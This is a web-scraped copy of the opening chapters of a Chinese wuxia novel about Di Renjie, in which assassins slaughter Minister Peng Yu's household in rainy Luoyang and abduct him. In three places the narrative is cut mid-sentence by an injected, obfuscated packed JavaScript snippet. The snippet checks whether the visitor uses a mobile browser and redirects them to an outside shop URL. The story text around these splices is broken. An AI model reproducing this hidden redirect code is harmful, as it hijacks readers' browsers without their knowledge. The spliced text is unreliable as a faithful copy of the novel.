《狄仁杰的路》 1. 第一章 夜雨 路,笔直地向前延伸,一直通向望不见尽头的远方。 天地间被笼罩在一片白茫茫的薄雾当中,让四周围的景象显得愈加得模糊。 冰冷的空气中,飘落着一丝丝的细雨,衬托得整个环境更为静谧。 又是一年萧瑟的寒秋,世间万物都随着这个肃杀的季节而纷纷凋零、一同埋葬,最终归于沉寂。 这是一个天色灰蒙蒙的清晨,寥落的街衢大道上没有一个行人,显得这条漫长的道路更加地无边无际,没有尽头。 石板路上铺陈着一片片被雨水打湿了的落叶,积水的面上随着落下的雨滴泛起一圈圈的涟漪,一阵阵的冷风将倒影中朦胧的景致吹散。 街道两旁是隐约可见的黛瓦白墙的老宅,仿佛中间这条长路的陪衬。 这里不知是哪一个州县,哪一个市镇,哪一个去处。 这条路,也不知是从哪里开始,又到哪里结束。 隐约中,白茫茫的晨雾中,出现了一个人影。 有一个人,独自行走在这条路上,他略微有些佝偻着的身影徐徐地穿过薄雾和雨幕,一步一步地走了过来。 他是一个老人。 老人穿着一身最朴素的布衣,肩上背着一个简单的包袱,以一种毫不起眼的姿态,独自一人踏上了他返乡的归途。 老人须发灰白,满面风霜,历经了人世间的沧桑变幻,红尘中的离合悲欢。 他这一生当中,曾经遇见过各种各样的人,遇到过各种各样的事,破过各种各样的案,当过各种各样的官,甚至到了晚年,他还当过帝国的宰相。 然而,这一切的一切,随着光阴的流逝,全都成为了过往。 是非对错,爱恨情仇,在时过境迁之后,都不复存留,剩下的只有对往昔的回忆。 老人到了最后,发现自己已是一无所有,只有人生这条无尽的长路,以及自己孤独的身影,仍然相伴着他继续走下去。 空中洒落着绵绵细雨,老人行走在细雨之中。 在老人的记忆里,似乎这场雨从来就没有停过。 连绵不断的雨声仿佛早已融入了这人世间的每一个角落,不论是寂静还是喧哗,沉默还是嘈杂,落雨声都充满了和谐地跟这些环境不可分割地连成了一片,在淅淅沥沥当中,彼此淹没。 天若有情,这雨水或许就是上天的眼泪,那么这空中覆盖了世间万物的点点滴滴,也或许,就是为了这世间的一切而坠落的吧。 这时,老人停住脚步,蓦然回首。 他苍老又憔悴的面容回望来时的路,竟有些记不清当初是从哪里出发的。 因为这段路太漫长了,许多人、许多事,他早已忘却。 老人沧桑又深邃的眼目依然回望着那来时的路,他忽然又回想起了一年前,那段漫长的边关之路。 那是一段艰辛困苦、荒唐无奈的奇幻旅程。 老人如今回想起来,这一段旅程,自己好像是做了一场很长的梦,甚至到了当下此时此刻,自己依然还处在这场梦中,并没有真正醒来。 也许是因为,在这一年的时间里,他所做的是一场一生的梦,是他人生的这场大梦,所以才会显得如此地漫长,如此地遥远,如此地望不见尽头。 如果这场梦有一个开始,那么当时,同样是下着雨,是一个寒冷的秋夜。 老人在他的回忆中,仿佛又回到了那一天晚上,那一个洛阳城的雨夜...... ———— 是夜。 黯淡的月色被遮蔽在浓密的乌云当中,透过翻卷的云层绽放出朦胧的光晕。 寥廓无垠的穹苍被滚滚黑云整片地覆盖,仿若墨染的一般,一望无际尽是漆黑。 深邃的夜色将天地间的一切尽都笼罩,黑暗中的所有景象只剩下了隐约可见的轮廓,显示着各自的方位。 疏雨淅淅沥沥,任意地挥洒。 凛冽的夜风狂乱地呼啸着,呼呼呼地刮来,让飘落的雨滴在空中下坠的轨迹更显得凌乱,也令那本已足够寒冷的空气更增添了几许凄清与凉意。 洛阳城内一片幽谧寂寥。 在夜色笼罩下的大街小巷,伸手不见五指。 石板路上滑动的雨水,犹似涓涓细流,四处流淌。 滴滴答答,雨声将夜间的无声更衬托得静寂,连敲打声都是晚上的安宁。 细雨洒落在城中人家的屋檐上,沿着一片片黛瓦滴了下来,宛若一张漏了洞的水帘,稀稀疏疏,一点一滴,渗入石板街上的水中,在水面上泛起一圈一圈的涟漪。 正值武周万岁通天二年,初秋。 神都洛阳,京畿重地,夜间城门紧闭。 城门楼未曾关紧的木窗子,被一阵阵呼啸着吹来的狂风刮得一开一阖,从里面透出的亮光在黑暗中更加显眼。 可以隐约听见楼里的一片喧哗嘈杂声融入了半空中挥洒的雨滴,变得那么细微又几不可闻。 楼里面的好几个烛台上都点着烛火,被窗口刮进来的凉飕飕的夜风摇曳得忽明忽暗,几乎就要吹熄,又在风停止吹入的间隙复原了过来。 几张木桌贴在了一起,其上杯盘狼藉,酒水菜汤流得到处都是,空气里的气味很是不好闻,吵闹之声非常大。 十来个值夜班的岗哨跟往常一样,聚众饮赌,任意取乐,方才吃完宵夜,又开始掷骰划拳,猜枚行令,呼幺喝六,大声喊叫了起来。其中有一两个已是醉眼朦胧,昏昏欲睡了。 这些岗哨也并非有意懈怠,只因一个缘故:这里是洛阳。 武则天在位期间,洛阳是大周的京城。 这些岗哨从未听说,也绝不肯相信,大周的京城竟会有歹人来犯,因为确实不曾发生过这样的事。 就连十三年前徐敬业讨伐武则天造反,都没有选择直接攻打洛阳,如今还有谁这么大胆,竟然敢来京城捣乱? 岗哨们实在也想不出来,所以值班对他们来说,也就只需走个过场,敷衍塞责即可,又何必那么认真?所以他们竟开怀畅饮,玩笑赌博,毫无顾虑。 但就在这时,忽听得“砰”的一声巨响,呼呼几声,紧接着楼里的所有烛光同时熄灭,愈下愈烈的大雨哗啦啦地直响,比刚才更加大声,雨珠从大开着的窗口飞溅入来,地板早已湿透了半边。 他们所有人都大吃一惊,突然被一片黑暗迷住了双眼,措手不及,手中的赌博之物和酒壶酒碗,一齐从手中滑落,摔在了地上,啪啦啪啦几声,全都碎了。 “怎么啦!”其中一个惊叫道。 “灯怎么突然灭了?”另一个大声问。 “我怎么知道啊!”又一个大叫。 “先别急,先把灯点上。” “灯在哪儿,看不见啊。” “好冷啊……”刚刚睡着了又被吓醒的一个颤抖着说。 “雨都溅进来了。” “好像烛台在那儿……”一个朝着黑暗中指去。 “谁去点上?” 话音未落,遽然间寒光闪过,天空中刚刚露出的月光透过眼花缭乱的雨水照在了刀刃之上,青光闪闪,在岗哨们眼前掠过,还没来得及叫喊的他们在一瞬间都变成了冰冷的尸体,再也没法开口说话了。 大雨下了没多久,渐渐小了,后来停了。 城门楼里的黑暗中,几个人影站在岗哨们的尸体当中。 “那边应该也解决了。”其中一个说,望向刮着寒风的窗外。 就在不久以前,空落落的街道上,老更夫独自一人像往常一样,穿街度巷,敲着梆子,一面大声叫着:“关门关窗!防偷防盗!” 天上飘着细雨,老更夫却是风雨无阻,继续打更。 他不会想到,那一道突然闪过的寒光,竟然结束了自己做了一辈子的事...... 在一团漆黑中,宰辅的住宅兀自掌着昏暗的灯火。 里面有几个人影在纱窗前晃来晃去,有时快,有时慢,有时又不动了。 突然,灯火更暗了,不一时,灯火完全熄灭了。 这是当晚第一场大雨刚停的时候。 二更时分。 兵部尚书彭羽的府邸,距离宰相府只有几条街,是京城里最豪华的住所之一。兽头大门前屹立着两个石狮子,分别蹲在台矶的两旁,张着口好似在笑,极具威严气派。四围粉垣高墙相连有几条街,将府内前院与石板街道间隔开。朱漆大门在夜间像是深褐色,正上方横着一块金框匾额,乃天子所赐,镌有当今御笔亲题楷书写就的四个大字:国之栋梁。 匾的正下方,有两个站岗的在大门口冷得直发颤,正说着话。 “嗐,甭提了。”其中一个叫赵凡的道,一面发着抖,牙齿打冷战。“衙门还挂着亥牌呢,这会子半个多时辰不到,倒让那帮兔崽子占足了便宜,咱哥儿俩黑灯瞎火的接这鬼差,真是倒霉。” “谁说不是呢。”另一个只知道他姓钱的冷笑了一声,又摇了摇头,叹道。“那又能怪谁?这时辰难不成不是咱自个儿挑的?不就图能多点儿碎银子花嘛。” 赵凡听了,也叹了口气。看着眼前从屋檐上滴下来的雨水,更添了些凄凉之感。 “你看我这上有老下有小的,咋整?”姓钱的眼中泛出泪光,有些哽咽地说,“一家子几口,我不养谁来养?这半夜里的差使,虽然苦了些个,至少家里人每顿饭能多样儿菜吃。欸,你上回看我那老母,染了风寒,光请个大夫就得一两银子,请得起吗?更别提还要药钱了。都以为咱城里当差的多风光呢,这些个事儿,说来谁信?你再看我那几个孩儿,瘦得麻杆儿似的。就这样还想着叫爹娘多吃些呢,你看多好啊。嗐,如今这赋税又得交更多了,还让不让人活了?啊?你说咋办呢?顾了头顾不得尾啊。”说着,叹了口气。 赵凡听了,也不说话。他知道姓钱的心里一不舒服,就要发发牢骚,于是只用同情的目光看着他。 “奶奶的,”姓钱的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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赵凡道:“他老人家如何,咱虽难以晓得,可他身边的韩护卫,当初可是宁愿辞去皇帝亲封的将军之职,如今只做一个小小的护卫,守在他老人家的身旁,这又怎么说?可见必有其过人之处,也未可知。” 二人正说着话,忽见十几号人马从愈下愈大的雨中缓缓而至。 那两个站岗的一见,登时便立得笔直,一齐叫了声:“吕队长!” 只见那带头的勒马停了下来,朝右首彭府大门微微转过头去,瞥了二人一眼,“嗯”了一声。 此人正是京城御林军麾下负责夜间巡逻的巡逻队队长,吕成吕队长。他脸型较胖,甚至有点浮肿,单眼皮,眯缝眼,黑眼圈很明显,蒜头鼻,嘴唇很厚,双下巴,还有一小撮浓密的胡须,整个人很显老,看着像过了不惑之年,实则也就三十左右。他的身形也略有些胖,但此刻穿了铠甲看不太出来。他身后的巡逻队员也有胖有瘦,大部分都是青年。他们都全副武装,腰系佩剑,脸上神情略显疲惫。 吕队长这时问那两个站岗的道:“可有什么异常?” 赵凡答道:“没有,一切都正常。” 吕队长“嗯”了一声,微微点头,又嘱咐二人道:“近来乃非常时期,尔等勿要掉以轻心,玩忽职守,有所懈怠。为了以防不测,再过半个时辰,我还领巡逻队来彭府前巡查。你二人夜间站班,到时朝廷自然不会亏待你们。” 二人应道:“是。” 只听得吕队长说了声“走”,十余骑便缓缓地向前走去,影影绰绰,隐没在了拐角处的后巷子口。 那两个站岗的待人马走远了,方一齐叹了口气,复又说起话来。 此时的月色尽被乌云遮蔽,光亮愈微,耳旁唯闻紧风呼啸,伴随着眼前大雨如注,寒意刺骨。 “凭什么?”那姓钱的越讲越气,不由得越说越激动,“成日里就听得说啊,什么,‘彭尚书,于国家战时’,什么‘用兵之际,乃栋梁也’。哼,我看也不过是纸上谈兵!不靠阿谀奉承、装腔作势的,能被皇上委以重任吗?除了一张嘴,还有什么呢?我怎么就看不出来啊……”说话时丝毫不曾放低声量,反倒越说越大,把赵凡给吓得魂不附体。只因其声虽被大雨盖住了部分,却仍是易于听闻。 “唉呀大爷啊,我求你啦!”赵凡忙做个鬼脸,使劲摆手,凑到那姓钱的耳畔,几乎是用哀求的语气低声求道,“隔墙有耳,这时说谁也不能说彭大人,说彭大人也不能在彭府前说啊!管他栋不栋梁的,关咱屁事儿啊!” 那姓钱的本就已经快气死了,一听赵凡这话,不但未收敛,还愈来劲了,大声喊叫:“我就说了!我就说姓彭的了!你咋地!我说姓彭的关你什么事儿!我说的话我自负责!就算要谋反砍头诛连九族,那也还轮不到你!这姓彭的狗官也配我骂呀!我要骂就要骂他妈的朝廷,骂他妈的皇上!你说,这种鸟人难道不是那个皇上任命的?皇上全权交与姓彭的处置,都处置些什么了?啊?国家打仗啊,我们日益加重的赋税交上去的又怎么着了?打仗用吗?你敢说有一半没落入了贪官的口袋?……” 赵凡拦也拦不住,劝又劝不来,直急得跌足。 正无开交,大门忽然开了。 2. 第二章 劫杀 两个站岗的回头一看,见是一个丫鬟。 这个丫鬟姓杜,人称小杜,她在彭府里就奴婢的地位来说,也最多算是个中等偏上的地位,却时常作威作福,欺负比她地位更低的下人们,对他们又打又骂的,几乎都成了一种习惯。 这是她生活的快乐来源之一,谁也不能剥夺她欺负人的权力。 至于府里地位比她高的那些,她自然是不敢欺负,却也妒嫉他们凭什么地位比自己高。 有人就讽刺她确实很“小度”,不大度。如果说这话的地位比她高,她就只能陪笑说“是”,如果地位比她低,那人就要被她给整死了。 小杜刚刚还跟人拌嘴,不由得气愤愤的,心里正是不快,恰好在走过前院时,听到那姓钱的在门外大喊大叫,更是气得咬牙切齿。心想门外吵闹的肯定是夜间站岗的,那算个什么有身份的爱物儿,我难道还欺负不得?于是也不顾大雨倾盆,直接朝大门口冲了过去,浑身淋得湿透了也无所谓,拔掉门闩,丢在一旁,双手将门“砰”的一声向两边撞开,直接指着大吃了一惊、刚刚回过头的两个站岗的骂道:“吵什么吵呀?!老爷夫人都睡下了,就你们俩奴才在外边儿瞎嚷嚷,成个什么样儿啊!还好我听见了,不曾吵醒了主子,否则你们就吃不了兜着走了!” 那赵凡先是被突然从背后传来的开门之声吓呆了,这时听了这话,正欲向她赔礼致谢,不料那姓钱的正在气头上,听了这丫鬟的话,更是火上浇油一般,不由得怒气直往上冲,倒与她拌上嘴了。 “我吵我的,你待怎地呀?小娘们!” 小杜听了,不由得大怒,瞪着眼骂道:“好哇贼东西!要你们守门是给足了你们脸面,你倒给脸不要脸哪!你以为你算个什么东西?下贱的货色,奴才!姑奶奶动动手指头,让你们死无全尸!大半夜里鬼鬼祟祟的,乱喊乱叫,告发你们密谋谋反!” 赵凡一听,登时目瞪口呆,魂飞天外。明知自己一个小站岗的,被彭府中人上报谋反,定然难逃问罪,且连自己家人亦要受牵连。思及于此,脸都青了,几欲哭了出来。 那姓钱的却哈哈大笑道:“好啊,你告啊!你不告死老子,你还算个人吗!臭婆娘,老子看你半夜里出来是去找野汉子去了吧!”转念一想:“不行啊,我要是死了,我家人怎么办?” 小杜气得浑身发抖,哼了一声,指着叫道:“你们俩给我等着!”就要进去,忽然被那姓钱一把提过来,用疯狂的眼神盯着她的脸威胁道:“你……你要是敢声张……老子现在就杀了你!” 小杜挣脱不开,冷笑道:“好啊,我只是随便说说来着,唬你们一下,只道你们晓事儿。哪知你们真的谋反,这你赖不掉了!” 赵凡已经吓得快疯了,浑身发抖,手忙脚乱、结结巴巴地解释道:“姑娘,没有,我……我们没有谋反……没有……” 那姓钱的亦自悔莽撞,只是心里不服,所以手依然狠狠地抓着丫鬟湿透的衣裳不放。正不知如何是好,忽然一抬头,看见彭府的前院如此豪奢,比自己一家子住的地方竟还要大上无数倍不止,再一想自己累得半死站岗,家人温饱尚且无余,而他们彭府中人却可以什么都不做,然后理所当然地享受着自己和家人永远也达不到的富贵。又见彭府一个小丫鬟,一个小小的丫鬟而已,竟然比平常小户人家的小姐还要穿着华丽,而自己可爱的女儿却只能穿着烂布,因为好看的衣裳买不起。又见这丫鬟身在福中不知福,竟然还嚣张得不得了,来惹我!顿时怒从心起,咬着牙,含着泪,将丫鬟猛地一推,听她“哎哟”一声,摔在了大门屋檐外的水滩里,衣服裙子都被地上的烂泥弄脏了。 赵凡忙欲阻止,却已来不及了。 小杜又痛又气,尖声大叫:“来人哪!有人非礼啊!” 登时十几号家人手中提着木棍,冲了出来。 “怎么啦?出什么事了?”他们大叫道。 小杜连忙爬了起来,朝门口两个站岗的一指,大叫:“他们二人在密谋谋反,说要刺杀彭大人!被我给听见了,他们就要杀我!他们要杀的是彭大人!彭大人!” 家人们听了,都“啊”的齐声大叫了起来。 只因彭大人如果出事了,整个彭府里的所有人都要遭殃。 如今皇上甚是看重彭大人,彭大人保住了,就是保住了荣华富贵,彭大人若保不住,连自身的性命都要丢。 于是家人们为了荣华富贵和性命,都大喝一声,齐向两个站岗的奔来,举起木棍就要打。 赵凡双手抱头大叫:“哎呀各位老兄有话好说啊!都是为了朝廷……为了彭大人办事啊!不能伤了和气啊!” 话未了,那姓钱的早大叫一声,拔出剑来,一面喊着:“你们都给我去死吧!”一面乱砍将去,登时几个家人中剑倒下。 大雨哗啦啦地落下,与鲜血混成了一块。受伤的人躺在水滩里,也“哎”来“哟”去。 旁边的家人们倒唬了一跳,忙后退了几步。 其中一个年老的管家大叫:“反了,反了!你们是敌国的奸细,要刺杀国家栋梁彭大人!” 其余家人一齐点头称是,都道要将二人擒住,交与彭大人发落。 那姓钱的哈哈大笑,满不在乎。 赵凡却暗自叫苦:“唉呀钱兄啊!你这可把兄弟我给害苦啦!我根本就不想谋反,怎么会变成了这样!哎呀!”又想:“如今我只有把你杀了,或可免罪!”于是不假思索,悄悄地拔出剑来,趁那姓钱的不注意,从他背后一剑刺去。 那姓钱的发出“啊”的一声惨叫,低头一看,自己的胸口已被刺穿,鲜血不住地流。 赵凡吓得赶忙松开了手,跪下大哭道:“我……老兄,我对不住你啊!我……我……” 那姓钱的却只轻轻一回头,滴下泪来,看着赵凡苦笑了一下,道:“是……我……对不……”话未了便气绝了,与手中的剑、胸口的剑,一块倒在了台阶上。 与此同时,家人中一个小厮趁众人不备,一棍打向那老管家。只因那老管家平日里常常欺负他,他心怀怨恨,却无从下手,此时正好趁火打劫。 众人看着那两个站岗的互相残杀,早皆看呆了,又哪儿还顾及其他?直到那老管家被打得头破血流,在地上破口大骂,众人这才回过头来,见那小厮兀自拼了命地狠打,那老管家却早已一动不动了。 众人大吃一惊,正待拥过去拦阻,忽瞥见那赵凡欲乘机溜走,便又皆拥了回来,大叫:“别跑!抓住他!” 那赵凡怒叫:“我把我兄弟都给杀了,你们还要怎么样!我没有造反!” 众人不予理睬,只想:“伤了这许多人,不抓一个来顶罪,我们怎么办?” 那赵凡一阵极端的痛苦涌了上来,登时便发了疯似的狂叫了起来:“我又没招谁惹谁,你们干吗要逼我!”一面哭喊着,浑身发抖,狠命咬着牙齿,从那姓钱的身上拔出剑来,冲过去就拼命。 料那木棍怎敌得过铁剑:一挥,一刺,一扫,一砍,死的死,伤的伤。 这一闹,早惊动了阖宅上下,各处掌起灯来。 彭羽携着夫人与几个小妾的手,同其余家人都冒雨而出。见了情形,都大吃一惊。 只见大雨之中,死伤成群,鲜血流得满地都是,哀嚎声此起彼伏。 这时,接连几道锯齿状的闪电疾速地划过夜空,浓厚晦暗的云层以及漆黑一片的天地一瞬间亮如白昼。 那赵凡独自一个站在当中,手里握着血淋淋的剑,在电光明亮的闪烁中,发出了响彻夜空的凄厉狂笑,露出了恶鬼一般的狰狞面孔,表情扭曲地朝众人大喊大叫:“你们害得我好苦啊!你们都给我去死吧!”一面持剑杀将来。 还未上前几步,已被彭羽的贴身护卫当场乱箭射杀。 众人正惊魂未定,猛地里“轰隆隆”一声震天动地的雷鸣,伴随着瓦片声响, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17051948|194817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暴雨如注,前后宅子屋檐上,杀手齐出,暗器乱发,眼花缭乱中,一排排家人倏地倒下。 穿云裂石的尖叫声瞬间被淹没在了大雨之中。 家人女眷到处乱窜,小厮丫鬟乱哭乱喊,场面彻底大乱。 一群早就埋伏好了的蒙面人披蓑戴笠,只等雨声一大,便一拥而出。不料还有站岗的跟家人们的这段小插曲,他们便看热闹,又见彭府众人竟都一齐聚集前院,正是出手的大好时机。 “兀兄弟们!”那杀手领头的大叫一声,嗓音颇为沙哑。“除了姓彭的,其余都杀他个片甲不留!” 杀手们齐应道:“是!” 彭羽的几十个贴身护卫挡在前面,拔剑而立,大声叫道:“保护彭大人!大家不要乱!” 只见那杀手领头的做了个手势,杀手们便飞也似的冲将来。瞬息之间,各自从衣袖里拔出短刀,与护卫乱斗了起来。 家人们尽数跟着彭羽躲进了大厅,全都淋得浑身湿透了,有的身上受了伤,兀自汩汩流血,都又惊又怕,哭天喊地,乱叫乱嚷。 “都给我闭嘴!”彭羽大声叫道,“巡逻队呢?巡逻巡到鬼门关去了呀!都他娘的死哪儿去了!” 不说屋里大乱,却说前院双方乱斗之声虽响,却被大雨盖住,因此彭府周边并无人闻见。 彭羽的护卫们武功虽也不弱,却无甚实战经验,因此与这些职业杀手相比,则略显逊色。不论是人数亦或武力,均无十分胜算。试图暗中遣人去报信求援,还行不到几步路,便被杀手们扔暗器射死。 正打得血雨横飞,忽听那领头的叫了声:“让开!” 其余杀手便从中开出了一条道,让领头的来至前面。 十来个护卫大喝一声,狂奔而至,剑尖直指那领头。 他哼哼冷笑,待来得近了,倏地袖子一撩,无数枚针从中飞出,朝护卫们射将去,登时有一半的护卫身中暗器倒下。 那领头的大笑数声,震彻夜空,众人不由得皆后退了几步,均感其内力之强。 领头的又大叫一声:“给我杀!速战速决!” 双方遂又乱斗了起来。 那领头的叫了两个杀手来,吩咐道:“你们二人绕道从后门入宅,出其不意,将家属都给我杀个精光。方才那个大胡子的便是彭羽,不要动他分毫,给他下点药就行了。去吧!” 二人点头,从后门闯入屋内,将彭羽家眷等人杀得尸横遍地,血流成河。 众人手无寸铁,又没有武功,都挤在大厅里,躲也没处躲,藏也没缝藏,自然被两个职业杀手的突然袭击弄得措手不及,因此尽都惨遭杀害。 彭羽快疯了,想到荣华富贵没享几年,近来好不容易又打仗了,可以被皇上重用,干事的自然是底下的人,自己又不用多管,只要拍拍皇帝的马屁即可,反正真要出了事下面的人担着,有功劳自然是归自己。还可以多娶几个漂亮的小老婆,摆上几个珍贵的古董,装饰一下豪宅,多吃几道名菜,又可以掌握权力,得到一些捐官者给的好处,然后继续奉承皇上,继续往上爬,继续享受更美好的生活…… 这一切都结束了。 他还试图要逃跑,却被两个杀手给生拖死拽了来,用布给捂住了嘴巴,突然感到迷迷糊糊的,不一时便不省人事了。 二人将彭羽带到前院,见护卫也已尽数被杀。 这时天上依然下着毛毛雨,是当晚第一场大雨快要停的时候。 领头的仔细瞧了瞧彭羽,道:“嗯,是彭羽没错。帮主叫我们只管带他出城,下一步行动方案自会有人告知我们。”遂命给彭羽戴上黑头罩。又叫处处查看一番,不要遗漏了活口。 “后园不用去了,”他说,“肯定没人。” 不一时,杀手均来回说:“一个也不剩。” 那领头的只说了一句:“带上彭羽,走!” 便领着杀手们顷刻之间离开了彭府。 3. 第三章 寒刀 此时雨虽住了,寒风却刮得更甚。 十余号杀手带着彭羽,跟着领头的飞奔在漆黑的街道上。 呼啸的风,飕飕吹来,在他们疾速的飞奔中,“呼呼呼”的在耳际环绕。 残留的雨水从一排排屋檐的瓦片上时快时慢地滴落,又跟湿透的石板路上的积水汇成一片,在街角处的凹坑里缓缓流动,也在街道上被风吹得轻轻摆动。 到处都是水,有的地方更密集,有的地方只是有些潮湿,但在屋檐的阴影之外的每一片水面上,又都清澈见底地倒映着天空中刚刚露出来的月光。 那领头的如今只收到了一个命令:将彭府灭门,然后带上彭羽出城。 如果要出城,要尽量快。 他已经提前对神都的地形进行了一番考察,发现从彭府到城门之间的距离有至少几十里的路程,其中通衢大道、三街六巷有至少十来个可以抵达目的地。但其中除了因为路途中有死胡同和店铺民宅密集故而行人无法通行的地方以外,尽皆是路程较远,或是七弯八拐,很难直达者。 只有一个地方,既是通往城门的必经之路,又是捷径。 他现在就往那个地方赶去。 那个地方就是:西街口。 寒风仍是在吹,夜色在月光下仍是漆黑。 街道旁的一个个房屋尽被笼罩在了黑暗之中,一排排迅速地掠过眼前,在乌云还未散去的湛蓝幽深的夜空下,被衬托得参差不齐、鳞次栉比,轮廓模糊又鲜明,朦胧中竟似黑黢黢地连成了一片,却又看得出彼此之间的界限。 穿过一大片住宅,来到拐角,已是身在了十字路口,向右一拐,西街口就快到了。 巷子越来越窄,左右已不到两丈宽,但前后两边都有路,并不是死胡同。两旁环绕着许多店铺,都是只有一层的老房屋,许多墙皮都已剥落,屋檐上的瓦片似乎都快掉了,显得颇为陈旧,就是在黑暗中也能感觉得到。 领头的知道这里便是西街口了,只要出了巷子,前面便是西大街,到时直接绕个弯,便可直奔城门。 但就在这时,忽地一个黑影闪电般神速划过诸人的视线,其速之迅捷实乃生平罕见,将一群职业杀手竟皆唬了一大跳。 领头的也是吃了一惊,连忙做了个手势,他身后的那些杀手便立刻止步。 “谁在装神弄鬼?”领头的喝道,“给老子出来!”头转来转去,却不见个人影。 领头的惊疑不定,又等了会儿,见没动静,便又做了个手势,准备继续奔走。 突然,黑影再次以神速划过,然转瞬之间,即不复见。 杀手们这次均感一阵细微的凉风拂面,皆知乃极强的内力所致,不由得胆战心惊。 “莫非是帮主来京了?”领头的想,“不可能啊。然除了帮主,武功如此强者,也只有……” 突然,从不知何处,传来了一连声的大笑,内劲十足。 杀手们这时才真的怕了起来,都面面相觑,不知所措。 领头的大怒,跃到左首屋檐上,迅速地环顾了一遭,然除了一片漆黑,又哪有个人影? 领头的遂跳将下来,皱了皱眉,冷笑道:“阁下既然同为江湖中人,何不现身露面。躲躲藏藏乃小人行径,算什么英雄好汉!”声虽不大,却深远有力。 这时,又响起了一阵哈哈大笑之声,就是刚才那个声音! 似是从诸人的后头传来的。 杀手们一齐回头。 然不到一眨眼的功夫,一个人,已经站在了才回过头的诸人的背后。 领头的当先察觉,不由得大吃了一惊,忙一转身,那人已在眼前,离自己的脸庞只不下一寸的距离! 这一番,自己亦有所胆怯,连忙后退数步。 诸人这才发觉,也一齐回过头来,大吃一惊,连忙后退。 那个人却没有动。 他站在原地,双手抱胸,脸上露出一种似笑非笑的微笑,正平静地、甚至有些淡淡地望着他们。 此时月光微亮,他正好背对着月光,看不太清形容。 但黑暗中的轮廓,还算是清晰可见。 他是一个气宇轩昂的大高个儿。 他身穿便服,脚踏长靴,髻插玉簪,腰系宝剑。浑然有大将之风,却装束简朴,犹如平常百姓之状。又像江湖侠士一般,潇洒自若,却也似身负重任者,有所顾忌之态。 领头的一见,便已猜着了七八分,却也不敢断定。他想:“适才所见,此人武功绝不在我之下,甚而略高一筹。若果我猜得没错的话,他就是……” 只见那人先是向他们抱了一下拳,又将双手背着,他的右脚缓慢地向前走了一步。 领头的和杀手们刚才吃了一惊,此刻却有些防备,一见他向前走来,便连忙再次后退。 那人的右脚方走到,左脚又缓慢跟上,却不是要继续行走,而仅仅是向前一步,跟右脚放在了同一条线上,继续像刚才那样站着。 只是这一次,是背着手站着。 领头的和杀手们虚惊一场,反倒更加胆怯了起来。 这人到底是谁,竟然如此自信! 他们虽然还没反应过来,这个人,却开口了。 “诸位夤夜至此,有何贵干?” 领头的听他语气不急不躁,说话时脸上淡淡的神情也不曾变,能够如此从容不迫者,绝对是顶级高手。于是也不敢贸然行事,只得问:“足下高姓?” 那人坦然道:“在下,韩忠义。” 这话一出,众杀手都“啊”的一声惊呼,不觉又都后退了几步。 领头的虽早已料到,武功如此强者,除却狄仁杰的护卫韩忠义以外,又有谁能现身京城。然此刻听他亲口说出姓名,仍是大吃一惊,只因从前虽则闻名,却未曾见面。 “久仰。”领头的心里暗自佩服,表面却只淡淡地道。“江湖人称‘天涯浪子’,以无影拳、凌云剑于弱冠之前便已闻名天下的韩大侠……” “不敢。”韩忠义不待他说完,“在下早已退出江湖,如今这些虚名也早已成为过往,又何必再提。” “哼,”领头的听了冷笑一声,“江湖哪里是这么容易退出的,你现在就还在江湖。” “我知道。”韩忠义淡淡道,“江湖其实确实是退不出的,因为人世间有恩怨,有人,所以哪里都是江湖。” “你说你退了江湖,却又跟着狄仁杰入了朝堂这个更大的江湖,”领头的又冷笑一声,“你还能像从前那样潇洒,做你的‘浪子’吗?” 韩忠义没有回话。 “听说,”那领头的又说道,“皇帝封你将军之职,你还不要。” “不错,”韩忠义道,“我如今也只是一个小小的护卫而已。” 领头的明知自己不是他的对手,因此正在暗中寻思对策。 韩忠义突然指了指他们中间,问道:“你手下抱着的,是什么人?” 领头的明知他表面上随意说说,其实专门为此而来,于是道:“你想怎么样?” 这时,突然传来了一阵马蹄声,是从韩忠义的后方传来的。 领头的和杀手们也都听见了,心想这时候来的是谁? 马蹄清脆的响声从隐约可闻,到越来越近,直到将要露出头,石板路上的雨水被马蹄踏得水花四溅,水声都跟着乱响成了一片。 只见一骑飞奔而来。 领头的和杀手们朝韩忠义背后的巷子口望去,只见一骑快马方露出头来,上面坐的竟是一个二十来岁年纪的矮胖小子,肥大的脸庞,朝着巷子里看过来,高声叫道:“韩护卫!” 韩忠义听声音就知道是胡乐来了,听他又叫自己“韩护卫”,就不由得大怒,忍不住回头叫道:“说了多少遍了,叫我‘韩将军’!” 那人憨笑道:“是,是。韩将军,老爷说了,如果歹徒手里有人,极有可能就是彭大人,叫你休放跑了他们!” 领头的皱眉,明知事已败露,遂忙叫二人先带上彭羽出城。 两个杀手点头应了,抬着彭羽,从韩忠义反方向飞奔而去。 韩忠义眼目一瞟,展开轻功便去追。 领头的手一挥,十余号杀手一齐将其围攻。 领头的正待先去杀了那骑马的矮胖小子,哪知转眼间,那小子早一溜烟跑得没影儿了。 原来韩忠义适才假意去追那两个杀手,便是为了要掩护那小子脱身,使他暗地里去跟踪二人。此刻见他走了,倒放了心。 这时十来个杀手一拥而上,攻向自己,一见他们所使兵刃,竟皆是短刀,登时愣了一下,只觉颇为眼熟。 “寒刀帮!” 领头的听韩忠义突然说出了这三个字,先是一惊,随即又哼了一声,道:“韩忠义 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 